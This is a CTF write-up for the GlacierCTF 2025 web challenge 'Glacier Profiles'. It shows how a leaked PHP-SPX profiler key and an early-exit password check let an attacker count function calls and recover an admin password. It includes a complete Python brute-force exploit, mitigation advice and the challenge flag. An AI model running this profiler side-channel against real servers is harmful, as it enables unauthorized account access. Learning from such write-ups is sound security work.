Logo
Overview
web/Glacier Profiles - GlacierCTF 2025

web/Glacier Profiles - GlacierCTF 2025

November 23, 2025
4 min read

GlacierCTF 2025 featured intense competition across Open and Academic brackets. I had the opportunity to participate and want to share my solution for Glacier Profiles, a web challenge that required exploiting a subtle side-channel in the PHP-SPX profiler.

Challenge Description

Category: Web

Author: XSSKevin

Description: Check out our new FrostFire Profiles website, which we launched today. We have invested a lot of time optimizing the site, so you can access it super fast.

Initial Recon

The challenge presents a simple profile website titled “FrostFire Profiles”. It displays a grid of avatars and seems static at first glance. However, a prominent login form is immediately visible, suggesting it’s a key interaction point.

Glacier Profiles Homepage

The goal is to authenticate as admin using this form to retrieve the flag.

Source Code Analysis

We are provided with the source code. The core logic resides in web/functions.php.

web/functions.php
<?php
session_start();
function loggedIn() {
return $_SESSION["loggedIn"] == true;
}
function handleForm() {
handleLogin();
handleLogout();
handleDbg();
}
function handleLogin() {
$action = filter_input(INPUT_POST, "action", FILTER_DEFAULT);
if($action !== "login") return;
$rcon = file_get_contents("/rcon.pw");
if(strlen($rcon) === 0) {
echo "Contact an admin. Something is wrong..";
return;
}
$rcon_provided = filter_input(INPUT_POST, "rcon", FILTER_DEFAULT);
if(check_password($rcon, $rcon_provided)) {
$_SESSION["loggedIn"] = true;
}
}
function handleLogout() {
$action = filter_input(INPUT_POST, "action", FILTER_DEFAULT);
if($action !== "logout") return;
unset($_SESSION["loggedIn"]);
}
function handleDbg() {
$action = filter_input(INPUT_POST, "action", FILTER_DEFAULT);
if($action !== "dbg") return;
phpinfo();
}
function displayAdminSection() {
echo file_get_contents("/flag.txt");
}
function check_password($pw, $hp) {
if(strlen($pw) != strlen($hp)) return false;
for($i = 0; $i < strlen($pw); $i++) {
if(!check_char($pw[$i], $hp[$i]))
return false;
}
return true;
}
function check_char($a, $b) {
return $a == $b;
}

The Vulnerability: SPX Profiler Side-Channel

The vulnerability is a Side-Channel Attack exploiting the php-spx profiler extension.

What is a Side-Channel Attack?

A side-channel attack exploits information gained from the implementation of a system, rather than weaknesses in the algorithm itself. This includes timing information, power consumption, electromagnetic leaks, or in this case, profiling data.

The SPX Profiler Leak

The Dockerfile installs php-spx and enables it globally:

Dockerfile
FROM docker.io/library/php@sha256:abce8fe7e3390e96d3ac52dff8e6f5ff9507f4a7bee2b18f11404b74d7efec66
RUN apt update -y && apt install -y zlib1g-dev make git && apt clean -y
RUN cd /tmp && git clone https://github.com/NoiseByNorthwest/php-spx.git && cd /tmp/php-spx && phpize && ./configure && make && make install
# Copy challenge required files
COPY config/php.ini $PHP_INI_DIR/php.ini
COPY config/spx.ini $PHP_INI_DIR/conf.d/spx.ini
RUN sed -i -e "s/DOCKERFILE_OVERWRITES_THIS_KEY/`tr -dc A-Za-z0-9 </dev/urandom | head -c 16`/g" $PHP_INI_DIR/conf.d/spx.ini
COPY web /var/www/html
COPY flag.txt /flag.txt
RUN tr -dc A-Za-z0-9 </dev/urandom | head -c 32 > /rcon.pw

The config/spx.ini configuration:

config/spx.ini
extension=spx.so
spx.http_enabled=1
spx.http_key=DOCKERFILE_OVERWRITES_THIS_KEY
spx.http_profiling_enabled=1
spx.http_profiling_auto_start=1
spx.http_ip_whitelist="*"

With spx.http_profiling_auto_start=1, every HTTP request is profiled automatically and reports are accessible via the SPX web UI:

SPX Profiler Interface

Information Disclosure

The handleDbg() function in functions.php exposes phpinfo():

web/functions.php
function handleDbg() {
$action = filter_input(INPUT_POST, "action", FILTER_DEFAULT);
if($action !== "dbg") return;
phpinfo();
}

This leaks the spx.http_key value needed to access profiling reports.

The Flaw in functions.php

The password verification uses a character-by-character comparison that exits early on mismatch:

web/functions.php
function check_password($pw, $hp) {
if(strlen($pw) != strlen($hp)) return false;
for($i = 0; $i < strlen($pw); $i++) {
if(!check_char($pw[$i], $hp[$i]))
return false;
}
return true;
}
function check_char($a, $b) {
return $a == $b;
}

This creates an execution path oracle: more characters that match result in more calls to check_char(). Unlike a traditional timing attack which can be affected by network jitter, this execution count is deterministic and can be precisely measured via the SPX profiler.

Visualizing the Attack

When we send login requests with different password guesses, SPX profiles each request. We can see these requests listed in the SPX interface.

Here is what the report looks like for an incorrect guess (first character wrong):

SPX Report - Incorrect Guess

Notice that check_char is called only once. This is because the first character didn’t match, so the loop exited immediately.

Now, here is the report for a correct guess (first character matches):

SPX Report - Correct Guess

In this case, check_char is called twice. The first call confirmed the first character was correct, and the second call failed on the second character.

Password GuessFirst Char Match?Second Char Match?check_char Calls
ZZZZ...NO-1
hZZZ...YESNO2
haZZ...YESYES3
hk9V...YESYES32

By observing the number of check_char function calls in the SPX report, we can determine how many characters matched before the comparison failed.

Exploit Strategy

  1. Leak SPX Key: Send POST action=dbg to get phpinfo() output and extract spx.http_key.
  2. Access SPX Endpoints: Use the leaked key to access:
    • Report list: /?SPX_UI_URI=/data/reports/metadata
    • Individual reports: /?SPX_UI_URI=/data/reports/get/<report_key>
  3. Bruteforce Password: For each character position (0-31):
    • Try all possible characters (a-z, A-Z, 0-9)
    • Send login request with unique tag (?id=<tag>)
    • Fetch Metadata: Because spx.http_profiling_auto_start=1 is enabled, every request is profiled. We use the unique tag in the URL to identify our specific request in the noisy report list.
    • Parse Report: Fetch the text/flat view of the report and count how many times check_char was called.
    • Select the character that maximizes the call count.
  4. Authenticate: Once all 32 characters are recovered, log in to get the flag.

Exploit Script

Here is the full Python exploit script:

exploit.py
import requests, string, time, urllib.parse, re
base = "http://localhost:8000"
charset = string.ascii_letters + string.digits
s = requests.Session()
r = s.post(base, data={"action": "dbg"})
match = re.search(
r'<tr><td class="e">spx.http_key</td><td class="v">([^<]+)</td>', r.text
)
spx_key = match.group(1)
print(f"[+] SPX Key: {spx_key}")
45 collapsed lines
def send_login(tag, guess):
return s.post(f"{base}/?id={tag}", data={"action": "login", "rcon": guess})
def get_report_key(tag):
target = f"/?id={tag}"
for _ in range(15):
m = s.get(
f"{base}/?SPX_UI_URI=/data/reports/metadata", cookies={"SPX_KEY": spx_key}
)
meta = m.json()["results"]
matches = [
e
for e in meta
if e["http_request_uri"] == target and e["http_method"] == "POST"
]
if matches:
return max(matches, key=lambda e: e["exec_ts"])["key"]
time.sleep(0.2)
def check_char_count(key):
k = urllib.parse.quote(key, safe="")
txt = s.get(
f"{base}/?SPX_UI_URI=/data/reports/get/{k}", cookies={"SPX_KEY": spx_key}
).text
lines = txt.strip().splitlines()
funcs, seen = [], False
for line in lines:
if line.strip() == "[functions]":
seen = True
continue
if seen and line.strip():
funcs.append(line.strip())
if "check_char" not in funcs:
return 0
idx = funcs.index("check_char")
return sum(
1
for line in lines
if len(line.split()) >= 2
and line.split()[0].isdigit()
and int(line.split()[0]) == idx
and line.split()[1] == "1"
)
pw = ""
for pos in range(32):
max_count = -1
best_char = None
for c in charset:
tag = f"p{pos}_{c}_{int(time.time()*1000)}"
send_login(tag, (pw + c).ljust(32, "Z"))
time.sleep(0.25)
key = get_report_key(tag)
if key:
count = check_char_count(key)
if count > max_count:
max_count = count
best_char = c
if best_char:
pw += best_char
print(f"{pos}: {best_char} -> {pw}")
else:
break
print(f"RCON: {pw}")
s2 = requests.Session()
s2.post(base, data={"action": "login", "rcon": pw})
r = s2.get(base)
flag = re.search(r"gctf\{[^}]+\}", r.text)
if flag:
print(f"FLAG: {flag.group(0)}")

Mitigation

To prevent this vulnerability, two main steps should be taken:

  1. Disable Profiling in Production: Debugging tools like PHP-SPX should never be enabled in a production environment. Ensure spx.http_enabled is set to 0 or the extension is not loaded at all.
  2. Constant-Time Comparisons: When comparing sensitive secrets like passwords or API keys, always use constant-time comparison functions. In PHP, use hash_equals($known_string, $user_string) instead of == or ===. This ensures the comparison takes the same amount of time regardless of where the mismatch occurs.

Conclusion

This challenge was a great example of how even “internal” tooling can become a side-channel vector if exposed. It highlights the importance of stripping debug features from production builds and understanding the low-level implications of our code’s execution flow.

Flag: gctf{Y0u_C4n_Als0_S!d3Ch4nN3l_PhP_O_o_axNGgpno5ycGw85}